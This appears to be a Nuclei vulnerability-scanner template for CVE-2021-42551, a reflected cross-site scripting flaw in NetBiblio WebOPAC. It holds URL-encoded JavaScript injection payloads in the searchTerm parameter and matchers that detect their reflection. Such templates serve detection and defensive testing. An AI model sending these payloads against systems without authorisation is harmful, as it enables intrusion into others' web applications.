48 lines
1.3 KiB
YAML
48 lines
1.3 KiB
YAML
id: CVE-2021-42551
|
|
|
|
info:
|
|
name: NetBiblio WebOPAC - Reflected XSS
|
|
author: compr00t
|
|
severity: medium
|
|
description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected Cross-Site Scripting vulnerability in its Wikipedia modul through /NetBiblio/search/shortview via the searchTerm parameter.
|
|
reference:
|
|
- https://www.redguard.ch/advisories/netbiblio_webopac.txt
|
|
- https://www.cve.org/CVERecord?id=CVE-2021-42551
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.10
|
|
cve-id: CVE-2021-42551
|
|
cwe-id: CWE-79
|
|
tags: cve,cve2021,xss,netbiblio
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
|
|
- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'
|
|
|
|
redirects: true
|
|
max-redirects: 3
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "SearchTerm: 'x'+alert(1)+'x',"
|
|
- "SearchTerm: 'x\\\\'+alert(1),//',"
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "NetBiblio"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|